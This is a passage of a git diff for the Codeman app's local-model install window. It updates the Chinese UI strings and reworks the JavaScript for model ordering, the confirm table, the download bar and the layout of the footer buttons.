会为你一并安装。', 'The first answer can take minutes.': '第一次回答可能需要几分钟。', 'No account and no API key. The model runs only on this Mac.': '无需账号,也无需 API 密钥。模型只在此 Mac 上运行。', 'Install on this Mac': '安装到此 Mac', - // The confirm screen: what is downloaded, where it goes. - 'Runs with {cli}, at {context} tokens of context.': '搭配 {cli},上下文为 {context} 个 Token。', - 'What is downloaded': '将下载的内容', - 'Ollama {version}, the program that runs the model': 'Ollama {version},用于运行模型的程序', + // The confirm screen: the download as a table, where it goes. + 'What will be downloaded': '将下载的内容', + 'At {context} tokens of context, with {cli}': '上下文 {context} 个 Token,搭配 {cli}', + 'Ollama {version}': 'Ollama {version}', + 'The program that runs the model': '用于运行模型的程序', Total: '合计', - '{cli} is not on this Mac yet. Its own installer is run with this command:': - '此 Mac 上尚未安装 {cli}。将用以下命令运行它自带的安装程序:', - '{cli} is not on this Mac yet. It is installed with its own installer.': - '此 Mac 上尚未安装 {cli}。将用它自带的安装程序进行安装。', - 'The model and the program that runs it go into:': '模型和运行它的程序将存放在:', + 'Not on this Mac yet. Its own installer fetches it with this command:': + '此 Mac 上尚未安装。它自带的安装程序会用以下命令获取它:', + 'Not on this Mac yet. Its own installer fetches it.': '此 Mac 上尚未安装。它自带的安装程序会获取它。', + 'Goes into': '存放位置:', 'No administrator password.': '无需管理员密码。', 'Download and install': '下载并安装', // Progress, and the same picture paused. @@ -1474,9 +1475,14 @@ 'Loading and checking': '加载并检查', 'Installing {cli}': '安装 {cli}', Connecting: '正在连接', + 'Download of the model': '模型下载进度', + '0 of {total} GB': '已下载 0 GB,共 {total} GB', 'You can close this window. The download continues while Codeman is running.': '你可以关闭此窗口。只要 {name} 在运行,下载就会继续。', - 'Nothing is downloaded until you continue.': '在你继续之前不会下载任何内容。', + 'You can close this window. The install continues while Codeman is running.': + '你可以关闭此窗口。只要 {name} 在运行,安装就会继续。', + 'The download waits until you continue.': '下载会等你点击继续后再进行。', + 'The install waits until you continue.': '安装会等你点击继续后再进行。', Continue: '继续', 'Choose another model': '选择其他模型', // After an error: the one action that helps. @@ -1488,11 +1494,11 @@ '{model} is ready on this Mac.': '{model} 已在此 Mac 上准备就绪。', '{model} is installed on this Mac.': '{model} 已安装在此 Mac 上。', 'Runs with {cli}.': '搭配 {cli} 运行。', - 'Context {context} tokens. Takes {memory} GB of memory when loaded, all on the GPU.': - '上下文 {context} 个 Token。加载后占用 {memory} GB 内存,全部位于 GPU 上。', - 'Context {context} tokens. Takes {memory} GB of memory when loaded.': - '上下文 {context} 个 Token。加载后占用 {memory} GB 内存。', 'Context {context} tokens.': '上下文 {context} 个 Token。', + 'Takes {memory} GB of memory now, and up to about {peak} GB at its peak, with all of the context in use.': + '目前占用 {memory} GB 内存;上下文全部用满时,峰值约为 {peak} GB。', + 'Takes {memory} GB of memory now.': '目前占用 {memory} GB 内存。', + 'All of it is on the GPU.': '全部位于 GPU 上。', 'Start a session': '开始会话', 'Remove the local model from this Mac?': '要从此 Mac 移除本地模型吗?', 'Also delete the downloaded model': '同时删除已下载的模型', @@ -1503,7 +1509,7 @@ 'Recommended for this Mac': '为此 Mac 推荐', 'This Mac can run a small model. It handles small edits and questions. It does not replace a cloud model.': '此 Mac 可以运行小型模型。它能处理小幅修改和问答,但不能替代云端模型。', - 'Not yet tested by us on a Mac like this.': '我们尚未在类似的 Mac 上测试过。', + 'Codeman has not run this on a Mac like this yet.': '{name} 尚未在同类 Mac 上运行过它。', 'The best fit is a small model. It handles small edits and questions. It does not replace a cloud model.': '最适合的是一个小型模型。它能处理小幅修改和问答,但不能替代云端模型。', '{model} fits the memory of this Mac too, but its download needs about {missing} GB more free disk space.': @@ -1514,24 +1520,25 @@ 'Speed unknown': '速度未知', 'Codeman recommends a local model only on a Mac with Apple silicon.': '{name} 仅在搭载 Apple 芯片的 Mac 上推荐本地模型。', - 'This Mac has an Intel processor. Local coding models need Apple silicon.': - '此 Mac 使用 Intel 处理器。本地编程模型需要 Apple 芯片。', - 'This Mac has {memory} GB of memory. That is too little to run a model that can drive a coding agent, so Codeman recommends none here.': - '此 Mac 有 {memory} GB 内存,不足以运行能够驱动编程智能体的模型,因此 {name} 在此不推荐任何模型。', - 'Codeman estimates that this Mac can give a model about {budget} GB of memory. The smallest model a coding agent can work with needs about {need} GB. That leaves no safe margin, so Codeman recommends none here.': - '据 {name} 估算,此 Mac 可分配给模型的内存约为 {budget} GB。编程智能体能够使用的最小模型约需 {need} GB。这样没有留出安全余量,因此 {name} 在此不推荐任何模型。', + 'Local coding models need Apple silicon, and this Mac has an Intel processor.': + '本地编程模型需要 Apple 芯片,而此 Mac 使用的是 Intel 处理器。', + 'With {memory} GB of memory, this Mac cannot run a model that can drive a coding agent.': + '此 Mac 只有 {memory} GB 内存,无法运行能够驱动编程智能体的模型。', + 'This Mac can give a model about {budget} GB of memory, and the smallest model a coding agent can work with needs about {need} GB.': + '此 Mac 可分配给模型的内存约为 {budget} GB,而编程智能体能够使用的最小模型约需 {need} GB。', 'Codeman could not read how much memory this Mac has, so it recommends no model here.': '{name} 无法读取此 Mac 的内存大小,因此在此不推荐任何模型。', - 'Not enough free disk space. The smallest model that fits this Mac is a {download} GB download, and {reserve} GB must stay free after it. {free} GB is free now. Free up about {missing} GB.': - '可用磁盘空间不足。适合此 Mac 的最小模型需要下载 {download} GB,下载后还必须保留 {reserve} GB 的可用空间。当前可用空间为 {free} GB。请腾出约 {missing} GB。', - 'This Mac runs macOS {version}. Local models need macOS {minimum} or newer.': - '此 Mac 运行的是 macOS {version}。本地模型需要 macOS {minimum} 或更高版本。', + 'Free up about {missing} GB of disk space to install the smallest model that fits this Mac.': + '请腾出约 {missing} GB 磁盘空间,以便安装适合此 Mac 的最小模型。', + 'Local models need macOS {minimum} or newer, and this Mac runs macOS {version}.': + '本地模型需要 macOS {minimum} 或更高版本,而此 Mac 运行的是 macOS {version}。', 'No coding agent that Codeman can connect to a local model is available on this Mac.': '此 Mac 上没有 {name} 可以连接到本地模型的编程智能体。', // The tag of a model row (LOCAL_MODEL_TAG_LABELS in src/types/local-model.ts). Tight and Slow are // the entries above. 'Tested on a Mac like this': '已在同类 Mac 上测试', 'Best fit': '最适合', + 'Best fit, tight': '最适合,内存偏紧', 'Small model': '小型模型', // The sentences of the install (LOCAL_MODEL_INSTALL_LABELS in src/types/local-model-install.ts): // why a job stopped, why a request was refused, and the one sentence about the developer tools. @@ -1569,6 +1576,17 @@ 'Sessions are still using this model: {sessions}. Close them first.': '仍有会话在使用此模型:{sessions}。请先关闭它们。', 'That is not possible in the current state.': '当前状态下无法执行此操作。', + 'This model at this context is not offered for this Mac right now.': + '目前不为此 Mac 提供这一上下文大小下的该模型。', + 'This coding agent is not offered for this model.': '该模型不提供这个编程智能体。', + '{cli} is not installed and cannot be installed from here.': '{cli} 尚未安装,也无法从这里安装。', + 'Only {model} is installed on this Mac. Remove it and install another model first.': + '此 Mac 上只安装了 {model}。请先移除它,再安装其他模型。', + // What the endpoint routes answer for the record of the model on this Mac (shown as a toast). + 'This endpoint belongs to the model Codeman runs on this Mac. Change or remove it in the local model window.': + '此端点属于 {name} 在此 Mac 上运行的模型。请在本地模型窗口中更改或移除它。', + 'This endpoint id is reserved for the model Codeman runs on this Mac. Pick another id.': + '此端点标识已保留给 {name} 在此 Mac 上运行的模型。请换一个标识。', 'Coding agents use git and Python. This Mac has no developer tools yet, so macOS will offer to install them the first time an agent needs one.': '编程智能体会用到 git 和 Python。此 Mac 尚未安装开发者工具,因此在智能体首次需要时,macOS 会提示安装。', }); diff --git a/src/web/public/index.html b/src/web/public/index.html index abd35e38..c3c502c0 100644 --- a/src/web/public/index.html +++ b/src/web/public/index.html @@ -3693,6 +3693,9 @@ <button class="modal-close" onclick="app.closeLocalModelWindow()" aria-label="Close">×</button> </div> <div class="modal-body lm-body" id="localModelWindowBody" data-i18n-skip></div> + <!-- The buttons of the current screen. Outside the body, so they keep their + place while the body changes and scrolls. --> + <div class="lm-foot-slot" id="localModelWindowFoot" data-i18n-skip></div> </div> </div> diff --git a/src/web/public/local-model-ui.js b/src/web/public/local-model-ui.js index 2609ddf2..19964c5f 100644 --- a/src/web/public/local-model-ui.js +++ b/src/web/public/local-model-ui.js @@ -26,15 +26,28 @@ * |-------------|-------------------------------------------------------------------| * | `choose` | idle: the memory bar, the models that fit as a radio group, the | * | | coding agent, "Install on this Mac" | - * | `confirm` | after that button: what is downloaded with sizes, where it goes | + * | `confirm` | after that button: the download as a table with its total, where | + * | | it goes | * | `progress` | installing: the download bar, the steps, Cancel | * | `paused` | paused (Cancel or a server restart): Continue or Remove | * | `failed` | failed: the server's sentence and the ONE action that helps | * | `installed` | installed: running or stopped, Start a session, Stop/Start, Remove | + * | | (right after an install: Start a session alone) | * | `none` | idle and nothing fits: the hardware line, the reason, Close | * * The memory bar is the one strong element: the memory this Mac can give a model, filled to - * what the selected model needs (`budgetShare`). Selecting another row moves the fill. + * what the selected model needs at its PEAK (`budgetShare`). Selecting another row moves the + * fill. The legend under it and the line of an installed model use the same words for that + * peak, so the two figures a person meets (what the model takes now, what it can take) are + * never read as a contradiction. + * + * The window is ONE frame for the whole flow: the header and the foot (`#localModelWindowFoot`, + * the buttons) stay where they are and only the body between them changes and scrolls, so a + * button never moves away from under the pointer and is never cut off. + * + * The rows of the chooser are the server's: its pick first, then the other models by download + * size, largest first, which is a column the reader can see. The server's own order of the + * alternatives is its ranking (what it would offer next), not a reading order. * * ## Polling * @@ -53,11 +66,13 @@ * - Names and labels come from the payload: this file holds no list of models or coding * agents and never compares a CLI id with a literal. The id is passed on as data * (`cli` of the install request, the session start). - * - Sizes are printed exactly as sent (`needGb`, `budgetGb`, `downloadGb`, `installGb`, - * `completedGb`, `totalGb`: decimal GB as text). Bytes are never turned into a size here. - * The installed memory alone is `memClassGb`, the size the Mac is sold as. The two byte + * - Sizes are printed exactly as sent (`downloadGb`, `installGb`, `completedGb`, `totalGb`, + * `memoryGb`: decimal GB as text). Bytes are never turned into a size here. The one figure + * that is rounded is the memory estimate beside the bar and in the installed line: it says + * "about", so it is printed in whole GB from the server's own text (`needGb`, `budgetGb`). + * The installed memory alone is `memClassGb`, the size the Mac is sold as. The byte * figures this file does read are the consent total (sent back unchanged as - * `acknowledgedBytes`) and the two ends of a bar. + * `acknowledgedBytes`), the two ends of a bar and the download size the rows are ordered by. * - The consent is bound to the size shown: the install request carries the server's own total * for the row (`Candidate.installBytes`), and a 409 `size-changed` shows the server's new * total and asks again. @@ -85,6 +100,9 @@ const LOCAL_MODEL_MAX_AGE_MS = 60000; /** How often the open window asks where the install stands. */ const LOCAL_MODEL_POLL_MS = 1000; +/** The tag kinds of the server's pick (`CandidateTagKind`): the ones drawn in the accent colour. */ +const LOCAL_MODEL_ACCENT_TAGS = ['tested', 'best', 'best-tight']; + /** i18n.js's translator with the `{placeholder}` slots filled, or the English source filled the same way. */ function localModelT(source, vars) { const values = vars && typeof vars === 'object' ? vars : {}; @@ -163,12 +181,25 @@ function localModelInstall(status) { return { state: 'idle', running: false, developerTools: 'unknown', actions: [] }; } -/** The rows of the chooser: the pick first, then the other models that fit. */ +/** + * The rows of the chooser: the server's pick first, then the other models that fit by download + * size, largest first. The download is a column of the list, so the order can be read off the + * screen; the server sends the alternatives in its own ranking, which no column shows. + */ function localModelCandidates(status) { const recommendation = (status && status.recommendation) || {}; if (recommendation.verdict === 'none' || !recommendation.pick) return []; - const rest = Array.isArray(recommendation.alternatives) ? recommendation.alternatives : []; - return [recommendation.pick, ...rest].filter((row) => row && typeof row.modelId === 'string'); + const rest = (Array.isArray(recommendation.alternatives) ? recommendation.alternatives : []).filter( + (row) => row && typeof row.modelId === 'string' + ); + const bytes = (row) => (Number.isFinite(row.downloadBytes) ? row.downloadBytes : 0); + // A stable sort: rows of one size keep the server's order. + const bySize = rest + .map((row, index) => ({ row, index })) + .sort((a, b) => bytes(b.row) - bytes(a.row) || a.index - b.index); + return [recommendation.pick, ...bySize.map((entry) => entry.row)].filter( + (row) => row && typeof row.modelId === 'string' + ); } /** @@ -202,6 +233,29 @@ function localModelGb(value) { return `${value} GB`; } +/** + * A memory estimate in whole GB, from the server's decimal GB text ('36.0' is '36'). Only for + * a figure that says "about": an estimate printed to the decimal reads as a measurement. + * Text that is no number is returned as it is. + */ +function localModelWholeGb(value) { + const number = Number(value); + return typeof value === 'string' && value !== '' && Number.isFinite(number) + ? String(Math.round(number)) + : String(value ?? ''); +} + +/** + * A sentence group split after its first sentence: `[first, rest]`. The first is what a + * headline carries; the rest is read in the body size. Works on the translated text, so both + * the Latin full stop (followed by a space) and the ideographic one end a sentence. + */ +function localModelSentences(text) { + const value = String(text ?? '').trim(); + const match = /^(.+?(?:[.!?](?=\s)|[。!?]))\s*(.+)$/su.exec(value); + return match ? [match[1], match[2]] : [value, '']; +} + /** "about 68 tokens/s", the measured figure without "about", or that there is none. */ function localModelSpeedText(candidate) { const speed = localModelSpeed(candidate.tokensPerSecond); @@ -270,11 +324,20 @@ function localModelBar({ share, role, label, kind, from }) { return bar; } -/** One line of the confirm screen's download list: what, and how large. */ -function localModelSizeRow(label, gb, { strong = false } = {}) { +/** + * One row of the confirm screen's table: what is fetched, how large it is, and under the name + * a second line that says what it is (`note`) and, for a coding agent, the literal command of + * its installer (`command`). A row without a size (the coding agent: its installer decides) + * has none. + */ +function localModelSizeRow(label, { gb, note, command, strong = false } = {}) { const row = localModelEl('div', strong ? 'lm-size-row lm-size-total' : 'lm-size-row'); - row.appendChild(localModelEl('span', 'lm-size-what', label)); - row.appendChild(localModelEl('span', 'lm-size-gb', localModelGb(gb))); + const what = localModelEl('div', 'lm-size-what'); + what.appendChild(localModelEl('span', 'lm-size-name', label)); + if (note) what.appendChild(localModelEl('span', 'lm-size-note', note)); + if (command) what.appendChild(localModelEl('code', 'lm-command', command)); + row.appendChild(what); + if (gb) row.appendChild(localModelEl('span', 'lm-size-gb', localModelGb(gb))); return row; } @@ -343,12 +406,26 @@ Object.assign(CodemanApp.prototype, { this.renderLocalModel(); return; } + this._noteLocalModelInstall(data.install); this._localModelStatus = data; this._localModelState = 'ready'; this._localModelLoadedAt = Date.now(); this.renderLocalModel(); }, + /** + * Called with the `install` object that is about to replace the one on screen. An install + * that was running and is installed now finished in front of the person: the window then + * shows the screen that ends it (see `justInstalled`). Any other state ends that moment. + */ + _noteLocalModelInstall(next) { + const ui = this._localModelWindowState(); + const before = localModelInstall(this._localModelStatus).state; + const after = next && typeof next.state === 'string' ? next.state : 'idle'; + if (after !== 'installed') ui.justInstalled = false; + else if (before === 'installing' && ui.open) ui.justInstalled = true; + }, + _localModelRefused() { return this._localModelState === 'refused' || localModelNotAdmin(); }, @@ -373,6 +450,11 @@ Object.assign(CodemanApp.prototype, { /** The Remove question is open, and whether the downloaded model goes too. */ confirmRemove: false, removeModel: true, + /** + * The install finished while this window was open: the screen that ends it shows + * "Start a session" alone. Stop and Remove belong to the window opened later. + */ + justInstalled: false, }; } return this._localModelUi; @@ -417,7 +499,15 @@ Object.assign(CodemanApp.prototype, { if (!modal || this._localModelRefused()) return; const ui = this._localModelWindowState(); if (ui.open) return; - Object.assign(ui, { open: true, view: 'auto', busy: false, notice: null, expected: null, confirmRemove: false }); + Object.assign(ui, { + open: true, + view: 'auto', + busy: false, + notice: null, + expected: null, + confirmRemove: false, + justInstalled: false, + }); this._forgetLocalModelPaint(); modal.classList.add('active'); // A trap of its own: the window can open on top of App Settings, whose trap must stay @@ -503,11 +593,17 @@ Object.assign(CodemanApp.prototype, { const data = json && typeof json === 'object' && json.data && typeof json.data === 'object' ? json.data : null; let result; if (res?.ok && json?.success === true && data && typeof data.state === 'string') { + this._noteLocalModelInstall(data); if (this._localModelStatus) this._localModelStatus = { ...this._localModelStatus, install: data }; result = { ok: true, view: data }; } else if (res?.status === 409 && data) { ui.notice = { message: data.message, sessions: data.sessions }; result = { ok: false, conflict: data }; + } else if (res && data && data.message && typeof data.message.text === 'string') { + // A refusal the server names (a 400, a full disk) carries its sentence with the slots + // apart, like a 409, so it is printed in the window's own language. + ui.notice = { message: data.message }; + result = { ok: false }; } else { ui.notice = res ? { refused: true, detail: typeof json?.error === 'string' ? json.error : '' } @@ -732,9 +828,12 @@ Object.assign(CodemanApp.prototype, { const meter = body.querySelector('.lm-meter'); if (frame === this._localModelFrameKey && (screen === 'progress' || screen === 'paused') && meter) { - meter.replaceWith(this._localModelDownloadMeter(screen, last)); - this._settleLocalModelBars(body); - return; + const moved = this._localModelDownloadMeter(screen, last); + if (moved) { + meter.replaceWith(moved); + this._settleLocalModelBars(body); + return; + } } this._localModelFrameKey = frame; @@ -742,9 +841,17 @@ Object.assign(CodemanApp.prototype, { const active = document.activeElement; const inside = !!(modal && active && modal.contains(active)); const focusKey = inside && active.dataset ? active.dataset.lmKey : undefined; - const scrolled = body.scrollTop; + const scrolled = body.dataset.screen === screen ? body.scrollTop : 0; + const parts = this._buildLocalModelScreen(screen, last); + // The buttons (or the Remove question) are the last part a screen builds. They go into + // the foot of the frame, outside the part that scrolls, so they stay in one place. + const foot = document.getElementById('localModelWindowFoot'); + const tail = parts[parts.length - 1]; + const actions = + foot && tail && tail.classList && (tail.classList.contains('lm-foot') || tail.classList.contains('lm-remove')); body.dataset.screen = screen; - body.replaceChildren(...this._buildLocalModelScreen(screen, last)); + body.replaceChildren(...(actions ? parts.slice(0, -1) : parts)); + if (foot) foot.replaceChildren(...(actions ? [tail] : [])); body.scrollTop = scrolled; this._settleLocalModelBars(body); if (inside || active === document.body) this._focusLocalModelWindow(focusKey); @@ -776,7 +883,8 @@ Object.assign(CodemanApp.prototype, { const modal = document.getElementById('localModelModal'); const body = document.getElementById('localModelWindowBody'); if (!modal || !body) return; - const keyed = [...body.querySelectorAll('[data-lm-key]')].filter((el) => !el.disabled); + // The body and the foot: a screen's controls live in both. + const keyed = [...modal.querySelectorAll('[data-lm-key]')].filter((el) => !el.disabled); const target = (key && keyed.find((el) => el.dataset.lmKey === key && el.getAttribute('tabindex') !== '-1')) || keyed.find((el) => el.dataset.lmKey === 'model' && el.getAttribute('aria-checked') === 'true') || @@ -836,27 +944,23 @@ Object.assign(CodemanApp.prototype, { ); }, - /** One model row: the radio of the chooser, or the same line as plain text on the confirm screen. */ - _localModelRow(candidate, { checked, interactive, tabStop }) { + /** One model row of the chooser: a radio with the name, the tag, the speed and the download. */ + _localModelRow(candidate, { checked, tabStop }) { const row = localModelEl('div', 'lm-model'); - if (interactive) { - row.setAttribute('role', 'radio'); - row.setAttribute('aria-checked', checked ? 'true' : 'false'); - row.setAttribute('tabindex', tabStop ? '0' : '-1'); - row.dataset.lmKey = 'model'; - row.dataset.modelId = candidate.modelId; - row.appendChild(localModelEl('span', 'lm-radio')); - } else { - row.classList.add('lm-model-static'); - } + row.setAttribute('role', 'radio'); + row.setAttribute('aria-checked', checked ? 'true' : 'false'); + row.setAttribute('tabindex', tabStop ? '0' : '-1'); + row.dataset.lmKey = 'model'; + row.dataset.modelId = candidate.modelId; + row.appendChild(localModelEl('span', 'lm-radio')); if (checked) row.classList.add('lm-model-on'); row.appendChild(localModelEl('span', 'lm-model-name', String(candidate.modelLabel || candidate.modelId))); const tagSlot = localModelEl('span', 'lm-model-tag'); const label = candidate.tag && typeof candidate.tag.label === 'string' ? candidate.tag.label : ''; if (label) { const tag = localModelEl('span', 'lm-tag', localModelT(label)); - // The pick, and a row run on a Mac like this one, take the accent. Every other tag is quiet. - if (candidate.tag.kind === 'best' || candidate.tag.kind === 'tested') tag.classList.add('lm-tag-accent'); + // The tags of the row the window opens on take the accent. Every other tag is quiet. + if (LOCAL_MODEL_ACCENT_TAGS.includes(candidate.tag.kind)) tag.classList.add('lm-tag-accent'); tagSlot.appendChild(tag); } row.appendChild(tagSlot); @@ -878,7 +982,8 @@ Object.assign(CodemanApp.prototype, { // The memory bar: what this Mac can give a model, filled to what the selected one needs. const meter = localModelEl('div', 'lm-meter'); const head = localModelEl('div', 'lm-meter-head'); - const sizes = { need: candidate.needGb, budget: recommendation.budgetGb }; + // An estimate, so whole GB: "about 36 of 38", never an estimate to the decimal. + const sizes = { need: localModelWholeGb(candidate.needGb), budget: localModelWholeGb(recommendation.budgetGb) }; head.appendChild(localModelEl('span', 'lm-figure', localModelT('About {need} of {budget} GB of memory', sizes))); // A formula's figure says so, once. A wired limit and the runtime's own figure are facts. if (recommendation.budgetSource === 'estimated') { @@ -897,7 +1002,14 @@ Object.assign(CodemanApp.prototype, { ); const legend = localModelEl('div', 'lm-legend'); const context = localModelCount(candidate.context); - legend.appendChild(localModelEl('span', '', localModelT('The model at {context} tokens of context', { context }))); + // The fill is the model at its PEAK. The installed line uses the same words for it. + legend.appendChild( + localModelEl( + 'span', + '', + localModelT('The model at its peak, with all {context} tokens of context in use', { context }) + ) + ); legend.appendChild(localModelEl('span', '', localModelT('What stays free'))); meter.appendChild(legend); parts.push(meter); @@ -925,7 +1037,7 @@ Object.assign(CodemanApp.prototype, { group.setAttribute('aria-labelledby', 'localModelListLabel'); for (const row of candidates) { const checked = row === candidate; - const el = this._localModelRow(row, { checked, interactive: true, tabStop: checked }); + const el = this._localModelRow(row, { checked, tabStop: checked }); el.addEventListener('click', () => this.selectLocalModel(row.modelId)); group.appendChild(el); } @@ -962,7 +1074,7 @@ Object.assign(CodemanApp.prototype, { }); runs.appendChild(select); const hints = []; - if (harness.installed === false) hints.push(localModelT('Not on this Mac yet. It is installed for you.')); + if (harness.installed === false) hints.push(localModelT('Not on this Mac yet. Codeman installs it for you.')); if (harness.slowFirstTurn === true) hints.push(localModelT('The first answer can take minutes.')); if (hints.length) runs.appendChild(localModelEl('span', 'lm-runs-hint', hints.join(' '))); parts.push(runs); @@ -1014,6 +1126,13 @@ Object.assign(CodemanApp.prototype, { this.selectLocalModel(candidates[next].modelId); }, + /** + * The confirm screen: the download as a table. One row per thing that is fetched (the chosen + * model, the program that runs it while it is missing, the coding agent while it is + * missing), each with what it is in a second line, and the total under them in the strong + * weight. The table IS the screen; around it only where it goes and, on a Mac without the + * developer tools, the one sentence about them. + */ _buildLocalModelConfirm() { const ui = this._localModelWindowState(); const status = this._localModelStatus; @@ -1023,51 +1142,48 @@ Object.assign(CodemanApp.prototype, { const hw = this._localModelHardwareEl(); if (hw) parts.push(hw); - // The list collapses to the chosen row. - const chosen = localModelEl('div', 'lm-list'); - const one = localModelEl('div', 'lm-models'); - one.appendChild(this._localModelRow(candidate, { checked: true, interactive: false })); - chosen.appendChild(one); - parts.push(chosen); const cli = String(harness.cliLabel || harness.cli); - const runs = localModelT('Runs with {cli}, at {context} tokens of context.', { + const sizes = localModelEl('div', 'lm-sizes'); + sizes.appendChild(localModelEl('h4', 'lm-heading', localModelT('What will be downloaded'))); + + // The list collapses to the chosen row: it is the first row of the table. + const about = localModelT('At {context} tokens of context, with {cli}', { cli, context: localModelCount(candidate.context), }); - parts.push(localModelEl('p', 'lm-aside', runs)); - - // What is downloaded, with sizes: the model, the runtime while it is missing, the total. - const sizes = localModelEl('div', 'lm-sizes'); - sizes.appendChild(localModelEl('h4', 'lm-heading', localModelT('What is downloaded'))); - sizes.appendChild(localModelSizeRow(String(candidate.modelLabel || candidate.modelId), candidate.downloadGb)); + sizes.appendChild( + localModelSizeRow(String(candidate.modelLabel || candidate.modelId), { gb: candidate.downloadGb, note: about }) + ); const runtime = install.runtime || {}; if (runtime.installed !== true && Number(runtime.downloadBytes) > 0 && runtime.downloadGb) { - const what = localModelT('Ollama {version}, the program that runs the model', { version: runtime.version }); - sizes.appendChild(localModelSizeRow(what, runtime.downloadGb)); + sizes.appendChild( + localModelSizeRow(localModelT('Ollama {version}', { version: runtime.version }), { + gb: runtime.downloadGb, + note: localModelT('The program that runs the model'), + }) + ); + } + // The coding agent, when it is missing: its own installer fetches it, with this literal command. + if (harness.installed === false) { + const note = harness.installCommand + ? localModelT('Not on this Mac yet. Its own installer fetches it with this command:') + : localModelT('Not on this Mac yet. Its own installer fetches it.'); + sizes.appendChild( + localModelSizeRow(cli, { note, command: harness.installCommand ? String(harness.installCommand) : '' }) + ); } const expected = ui.expected && ui.expected.modelId === candidate.modelId ? ui.expected : null; const total = expected ? expected.gb : candidate.installGb; - if (total) sizes.appendChild(localModelSizeRow(localModelT('Total'), total, { strong: true })); + if (total) sizes.appendChild(localModelSizeRow(localModelT('Total'), { gb: total, strong: true })); parts.push(sizes); - // The coding agent, when it is missing: the literal command its installer runs. - if (harness.installed === false) { - const agent = localModelEl('div', 'lm-agent'); - const lead = harness.installCommand - ? localModelT('{cli} is not on this Mac yet. Its own installer is run with this command:', { cli }) - : localModelT('{cli} is not on this Mac yet. It is installed with its own installer.', { cli }); - agent.appendChild(localModelEl('p', 'lm-aside', lead)); - if (harness.installCommand) agent.appendChild(localModelEl('code', 'lm-command', String(harness.installCommand))); - parts.push(agent); - } - - const where = localModelEl('div', 'lm-where'); if (install.folder) { - where.appendChild(localModelEl('p', 'lm-aside', localModelT('The model and the program that runs it go into:'))); - where.appendChild(localModelEl('code', 'lm-command', String(install.folder))); + const where = localModelEl('p', 'lm-where'); + where.appendChild(localModelEl('span', '', localModelT('Goes into'))); + where.appendChild(document.createTextNode(' ')); + where.appendChild(localModelEl('code', 'lm-path', String(install.folder))); + parts.push(where); } - where.appendChild(localModelEl('p', 'lm-aside', localModelT('No administrator password.'))); - parts.push(where); const tools = this._localModelDeveloperToolsEl(); if (tools) parts.push(tools); @@ -1075,6 +1191,7 @@ Object.assign(CodemanApp.prototype, { if (notice) parts.push(notice); const foot = localModelEl('div', 'lm-foot'); + foot.appendChild(localModelEl('p', 'lm-foot-note', localModelT('No administrator password.'))); const buttons = localModelEl('div', 'lm-buttons'); buttons.appendChild( localModelButton(localModelT('Back'), { key: 'back', disabled: ui.busy, onClick: () => this.chooseLocalModel() }) @@ -1160,22 +1277,24 @@ Object.assign(CodemanApp.prototype, { }, /** - * The download bar and its figure: "6.2 of 23.1 GB", then the speed and the time left. A step - * that downloads nothing names itself instead, with the bar full once the model is in. + * The download bar and its figure: "6.2 of 23.1 GB", then the speed and the time left. The + * bar means ONE thing, the model download: while the runtime is fetched (seconds) it stands + * at the start with the size that is coming, it fills while the model arrives, and once the + * model is in it is gone (`null`): the step list carries the rest. */ _localModelDownloadMeter(screen, last) { const install = localModelInstall(this._localModelStatus); + if (install.step !== 'runtime' && install.step !== 'model') return null; const paused = screen === 'paused'; - const progress = install.progress; + const progress = install.step === 'model' ? install.progress : null; const meter = localModelEl('div', 'lm-meter'); const head = localModelEl('div', 'lm-meter-head'); - const steps = Array.isArray(install.steps) ? install.steps : []; - const now = localModelStepLabel(install.step, String(install.cliLabel || '')); - let share = steps.indexOf(install.step) > steps.indexOf('model') ? 1 : 0; + const label = localModelT('Download of the model'); + let share = 0; if (progress && Number(progress.totalBytes) > 0) { share = Number(progress.completedBytes) / Number(progress.totalBytes); const sizes = { done: progress.completedGb, total: progress.totalGb }; - head.appendChild(localModelEl('span', 'lm-figure', localModelT('{done} of {total} GB', sizes))); + head.appendChild(localModelEl('span', 'lm-figure lm-figure-count', localModelT('{done} of {total} GB', sizes))); const left = localModelTimeLeft(progress.secondsLeft); let rate = ''; if (!paused && progress.mbPerSecond && left) { @@ -1185,10 +1304,15 @@ Object.assign(CodemanApp.prototype, { } if (rate) head.appendChild(localModelEl('span', 'lm-figure-aside', rate)); } else { - head.appendChild(localModelEl('span', 'lm-figure', now)); + // Nothing of the model has arrived yet: the size that is coming, from the row it was chosen on. + const row = localModelCandidates(this._localModelStatus).find( + (candidate) => install.model && candidate.modelId === install.model.id + ); + const text = row && row.downloadGb ? localModelT('0 of {total} GB', { total: row.downloadGb }) : label; + head.appendChild(localModelEl('span', 'lm-figure lm-figure-count', text)); } meter.appendChild(head); - meter.appendChild(localModelBar({ share, role: 'progressbar', kind: 'download', from: last.download, label: now })); + meter.appendChild(localModelBar({ share, role: 'progressbar', kind: 'download', from: last.download, label })); return meter; }, @@ -1204,8 +1328,9 @@ Object.assign(CodemanApp.prototype, { : localModelT('Installing {model}', { model }); parts.push(localModelEl('p', 'lm-title', title)); - // The download bar takes the place of the memory bar. - parts.push(this._localModelDownloadMeter(screen, last)); + // The download bar takes the place of the memory bar, for as long as something downloads. + const meter = this._localModelDownloadMeter(screen, last); + if (meter) parts.push(meter); const list = this._localModelStepsEl(install, { stopped: paused }); if (list) parts.push(list); @@ -1215,9 +1340,18 @@ Object.assign(CodemanApp.prototype, { return parts; } - const note = paused - ? localModelT('Nothing is downloaded until you continue.') - : localModelT('You can close this window. The download continues while Codeman is running.'); + // What waits or goes on is the download while there is one, the install after it. + const downloading = !!meter; + let note; + if (paused) { + note = downloading + ? localModelT('The download waits until you continue.') + : localModelT('The install waits until you continue.'); + } else { + note = downloading + ? localModelT('You can close this window. The download continues while Codeman is running.') + : localModelT('You can close this window. The install continues while Codeman is running.'); + } parts.push(localModelEl('p', 'lm-aside', note)); const notice = this._localModelNoticeEl(); if (notice) parts.push(notice); @@ -1269,6 +1403,7 @@ Object.assign(CodemanApp.prototype, { /** * The ONE action that helps after an error, as a button, or null when the server does not * offer it right now. `error.next` names it; `install.actions` says whether it is possible. + * It is the main button of the screen, except a removal, which never takes the accent. */ _localModelNextButton(install, error) { const ui = this._localModelWindowState(); @@ -1289,7 +1424,12 @@ Object.assign(CodemanApp.prototype, { return primary(localModelT('Start'), () => void this.setLocalModelRuntime('start')); } if (error.next === 'remove' && can('remove')) { - return primary(localModelT('Remove'), () => void this.removeLocalModel()); + // The one action that helps, and still a removal: quiet here, red only in its question. + return localModelButton(localModelT('Remove'), { + key: 'primary', + disabled: ui.busy, + onClick: () => void this.removeLocalModel(), + }); } if (error.next === 'next-model' && can('install')) { const candidates = 